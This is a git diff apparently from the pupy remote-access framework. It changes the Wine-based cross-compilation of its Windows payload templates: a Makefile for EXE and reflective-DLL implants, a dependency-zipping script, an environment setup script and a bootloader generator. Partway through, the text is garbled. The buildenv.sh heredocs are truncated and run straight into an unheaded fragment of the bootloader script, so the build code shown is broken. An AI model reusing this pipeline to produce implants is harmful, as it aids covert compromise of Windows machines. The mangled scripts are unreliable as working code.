diff --git a/.gitignore b/.gitignore index 50973aeb..3127904d 100644 --- a/.gitignore +++ b/.gitignore @@ -30,15 +30,9 @@ client/sources/resources/libraryx86.zip client/android_sources/bin client/android_sources/.buildozer # Byte-compiled / optimized / DLL files +*.pyc +*.pyo __pycache__/ -client/**/*.py[cod] -pupy/*.py[cod] -pupy/pupylib/**/*.py[cod] -pupy/modules/*.py[cod] -pupy/modules/lib/*.py[cod] -pupy/modules/lib/**/*.py[cod] -pupy/network/**/*.pyc -pupy/scriptlets/**/*.pyc pupy/pupy.conf # do not ignore package & templates files diff --git a/client/sources/Makefile.linux b/client/sources/Makefile.linux index 06ae72b5..221ba295 100644 --- a/client/sources/Makefile.linux +++ b/client/sources/Makefile.linux @@ -1,75 +1,99 @@ -CC=cl.exe - -PYTHONPATH=C:\\Python27 -PYTHON=python.exe +BUILDENV ?= $(PWD)/buildenv +BUILDENV_READY = $(BUILDENV)/.ready +PYTHONPATH := C:\\Python27 TEMPLATE_OUTPUT_PATH=../../pupy/payload_templates + ifndef ARCH -$(error You must specify an architecture.) -else -ifeq "$(ARCH)" "x64" -CFLAGS:=$(CFLAGS) /DWIN_X64 /D_WIN64 -else -CFLAGS:=$(CFLAGS) /DWIN_X86 +$(error You must specify an architecture - win64 or win32) endif + +CC := $(BUILDENV)/$(ARCH)/cl.sh +PYTHON := $(BUILDENV)/$(ARCH)/python.sh -O + +ifeq "$(ARCH)" "win64" +CFLAGS:=$(CFLAGS) /DWIN_X64 /D_WIN64 /nologo +PPARCH := x64 +else +CFLAGS:=$(CFLAGS) /DWIN_X86 /nologo +PPARCH := x86 endif + ifdef DEBUG -DEBUG_ADD:=DEBUG -CFLAGS:= $(CFLAGS) /DDEBUG -LINKER_OPTS:= +DEBUG_ADD :=DEBUG +CFLAGS := $(CFLAGS) /DDEBUG +LINKER_OPTS := +PPARCH := $(PPARCH)d else -DEBUG_ADD:= -LINKER_OPTS:=/link /subsystem:windows /ENTRY:mainCRTStartup +DEBUG_ADD := +LINKER_OPTS :=/link /subsystem:windows /ENTRY:mainCRTStartup +PPARCH := $(PPARCH) endif -PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj -COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj +PYOBJS := \ + _memimporter.obj \ + MyLoadLibrary.obj \ + Python-dynload.obj \ + pupy_load.obj \ + pupy.obj \ + base_inject.obj -all: $(TEMPLATE_OUTPUT_PATH)/pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(ARCH).dll +COMMON_OBJS := \ + resources_bootloader_pyc.obj \ + resources_python27_dll.obj \ + MemoryModule.obj \ + resources_library_compressed_string_txt.obj \ + actctx.obj list.obj thread.obj remote_thread.obj \ + LoadLibraryR.obj resources_msvcr90_dll.obj -resources/library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources/library$(ARCH).zip +all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll + +$(BUILDENV_READY): + ./buildenv.sh $(BUILDENV) + +resources/library_compressed_string.txt: gen_library_compressed_string.py resources/library.zip $(BUILDENV_READY) $(PYTHON) gen_library_compressed_string.py - -resources/library_compressed_string.txt: resources/library_compressed_string_$(ARCH).txt - cp $< $@ - -resources_library_compressed_string_txt.c: gen_resource_header.py resources/library_compressed_string.txt resources/library${ARCH}.zip + +resources/library.zip: build_library_zip.py $(BUILDENV_READY) + $(PYTHON) build_library_zip.py + +resources_library_compressed_string_txt.c: gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(BUILDENV_READY) $(PYTHON) gen_resource_header.py resources/library_compressed_string.txt -resources/bootloader.pyc: gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py +resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py gen_python_bootloader.py $(BUILDENV_READY) $(PYTHON) gen_python_bootloader.py $(DEBUG_ADD) - -resources_bootloader_pyc.c: gen_resource_header.py resources/bootloader.pyc - $(PYTHON) $+ - -resources/python27.dll: resources/python27_$(ARCH).dll + +resources_bootloader_pyc.c: resources/bootloader.pyc gen_resource_header.py $(BUILDENV_READY) + $(PYTHON) gen_resource_header.py $< + +resources/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll $(BUILDENV_READY) cp $< $@ -resources_python27_dll.c: gen_resource_header.py resources/python27.dll - $(PYTHON) $+ - -resources/msvcr90.dll: resources/msvcr90_$(ARCH).dll +resources/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll $(BUILDENV_READY) cp $< $@ -resources_msvcr90_dll.c: gen_resource_header.py resources/msvcr90.dll - $(PYTHON) $+ +resources_python27_dll.c: resources/python27.dll gen_resource_header.py $(BUILDENV_READY) + $(PYTHON) gen_resource_header.py $< + +resources_msvcr90_dll.c: resources/msvcr90.dll gen_resource_header.py $(BUILDENV_READY) + $(PYTHON) gen_resource_header.py $< $(PYOBJS): %.obj: %.c $(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $< - + main_exe.obj: main_exe.c $(CC) /c $(CFLAGS) $< %.obj: %.c $(CC) /c $(CFLAGS) $< - + ReflectiveLoader.obj: ReflectiveLoader.c $(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $< -$(TEMPLATE_OUTPUT_PATH)/pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) $(CC) $(CFLAGS) $+ /Fe$@ $(LINKER_OPTS) -$(TEMPLATE_OUTPUT_PATH)/pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) $(CC) $(CFLAGS) $+ /Fe$@ /LD .PHONY: clean @@ -79,8 +103,15 @@ ifneq "$(QUICK)" "1" endif clean: - rm *.obj - rm *.exp - rm pupy$(ARCH).exe - rm pupy$(ARCH).dll - rm resources/bootloader.pyc + rm -f *.obj + rm -f *.pyo + rm -f *.pyc + rm -f *.txt + rm -f *_txt.c + rm -f resources/*.pyo + rm -f resources/*.pyc + rm -f resources/*.txt + rm -f resources/*_txt.c + rm -f resources/library.zip + rm -f resources/python27.dll + rm -f resources/msvcr90.dll diff --git a/client/sources/build.sh b/client/sources/build.sh new file mode 100755 index 00000000..1a7635a5 --- /dev/null +++ b/client/sources/build.sh @@ -0,0 +1,5 @@ +#!/bin/sh +make -f Makefile.linux ARCH=win32 clean +make -f Makefile.linux ARCH=win32 +make -f Makefile.linux ARCH=win64 clean +make -f Makefile.linux ARCH=win64 diff --git a/client/sources/build_library_zip.py b/client/sources/build_library_zip.py new file mode 100644 index 00000000..dddac9c8 --- /dev/null +++ b/client/sources/build_library_zip.py @@ -0,0 +1,58 @@ +import sys +from distutils.core import setup +import os +from glob import glob +import zipfile +import shutil + +sys.path.insert(0, os.path.join('resources','library_patches')) +sys.path.insert(0, os.path.join('..','..','pupy')) + +import pp +import additional_imports +import Crypto + +all_dependencies=set( + [ + x.split('.')[0] for x,m in sys.modules.iteritems() if not '(built-in)' in str(m) and x != '__main__' + ] + [ + 'Crypto', 'yaml', 'rpyc', 'pyasn1', 'rsa' + ] +) + +all_dependencies = list(set(all_dependencies)) +all_dependencies.remove('pupy') +all_dependencies.remove('additional_imports') + +print "ALLDEPS: ", all_dependencies + +zf = zipfile.ZipFile(os.path.join('resources','library.zip'), mode='w', compression=zipfile.ZIP_DEFLATED) +zf.write('C:\\Python27\\Lib\\site-packages\\pywin32_system32\\pywintypes27.dll', 'pywintypes27.dll') +try: + for dep in all_dependencies: + mdep = __import__(dep) + print "DEPENDENCY: ", dep, mdep + if hasattr(mdep, '__path__'): + print('adding package %s'%dep) + path, root = os.path.split(mdep.__path__[0]) + for root, dirs, files in os.walk(mdep.__path__[0]): + for f in list(set([x.rsplit('.',1)[0] for x in files])): + found=False + for ext in ('.pyc', '.pyd', '.pyo', '.py', '.dll', '.so'): + if ext == '.py' and found: + continue + if os.path.exists(os.path.join(root,f+ext)): + zipname = os.path.join(root[len(path)+1:], f.split('.', 1)[0] + ext) + print('adding file : {}'.format(zipname)) + zf.write(os.path.join(root, f+ext), zipname) + found=True + else: + if '' in mdep.__file__: + continue + + _, ext = os.path.splitext(mdep.__file__) + print('adding %s -> %s'%(mdep.__file__, dep+ext)) + zf.write(mdep.__file__, dep+ext) + +finally: + zf.close() diff --git a/client/sources/buildenv.sh b/client/sources/buildenv.sh new file mode 100755 index 00000000..20e5acf0 --- /dev/null +++ b/client/sources/buildenv.sh @@ -0,0 +1,117 @@ +#!/bin/sh + +unset WINEARCH WINEPREFIX + +set -e + +SELF=`readlink -f $0` +CWD=`dirname $0` +SOURCES=`readlink -f $CWD/../../` + +PYTHON64="https://www.python.org/ftp/python/2.7.12/python-2.7.12.amd64.msi" +PYTHON32="https://www.python.org/ftp/python/2.7.12/python-2.7.12.msi" +PYTHONVC="https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi" +PYCRYPTO32="http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win32-py2.7.exe" +PYCRYPTO64="http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win-amd64-py2.7.exe" + +PACKAGES="rpyc psutil pyaml rsa pefile image rsa netaddr pypiwin32" + +BUILDENV=${1:-`pwd`/buildenv} + +if [ -f $BUILDENV/.ready ]; then + echo "Buildenv at $BUILDENV already prepared" + exit 0 +fi + +WINE=${WINE:-wine} +WINE32="$BUILDENV/win32" +WINE64="$BUILDENV/win64" +DOWNLOADS="$BUILDENV/downloads" + +mkdir -p "$BUILDENV" +mkdir -p "$DOWNLOADS" + +WINEARCH=win32 WINEPREFIX=$WINE32 wineboot +if [ ! $? -eq 0 ]; then + echo "apt-get install wine32" + exit 1 +fi + +WINEARCH=win64 WINEPREFIX=$WINE64 wineboot +if [ ! $? -eq 0 ]; then + echo "apt-get install wine64" + exit 1 +fi + +for dist in $PYTHON32 $PYTHON64 $PYTHONVC $WINETRICKS; do + wget -cP $DOWNLOADS $dist +done + +for prefix in $WINE32 $WINE64; do + rm -f $prefix/dosdevices/d: + rm -f $prefix/dosdevices/e: + ln -s ../../downloads $prefix/dosdevices/d: + ln -s $SOURCES $prefix/dosdevices/e: +done + +for prefix in $WINE32 $WINE64; do + [ ! -f $prefix/drive_c/.vc ] && \ + WINEPREFIX=$prefix msiexec /i D:\\VCForPython27.msi /q && \ + touch $prefix/drive_c/.vc +done + +[ ! -f $WINE32/drive_c/.python ] && \ + WINEPREFIX=$WINE32 msiexec /i D:\\python-2.7.12.msi /q && \ + touch $WINE32/drive_c/.python + +[ ! -f $WINE64/drive_c/.python ] && \ + WINEPREFIX=$WINE64 msiexec /i D:\\python-2.7.12.amd64.msi /q && \ + touch $WINE64/drive_c/.python + +for prefix in $WINE32 $WINE64; do + WINEPREFIX=$prefix wine python -m pip install --upgrade pip + WINEPREFIX=$prefix wine pip install --upgrade $PACKAGES +done + +WINEPREFIX=$WINE32 wine easy_install -Z $PYCRYPTO32 +WINEPREFIX=$WINE64 wine easy_install -Z $PYCRYPTO64 + +cat >$WINE32/python.sh <$WINE32/cl.sh <$WINE64/python.sh <$WINE64/cl.sh <", "exec")) code_bytes.append(compile(remove_stdout, "", "exec")) - code_bytes.append(compile("import sys;sys.argv=[]", "", "exec")) + code_bytes.append(compile("import sys; sys.argv = [];", "", "exec")) with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: code=f.read() + + code=marshal.dumps(compile(code, '', 'exec')) + code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "", "exec")) - code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "", "exec")) - #code_bytes.append(compile("print 'plop'\n", "", "exec")) + code_bytes.append(compile("import pupyimporter;pupyimporter.install();\n", "", "exec")) with open(os.path.join("..",'..','pupy',"pp.py")) as f: code=f.read() code_bytes.append(compile(code+"\n", "", "exec")) code_bytes=marshal.dumps(code_bytes) with open(os.path.join("resources","bootloader.pyc"),'wb') as w: w.write(code_bytes) - -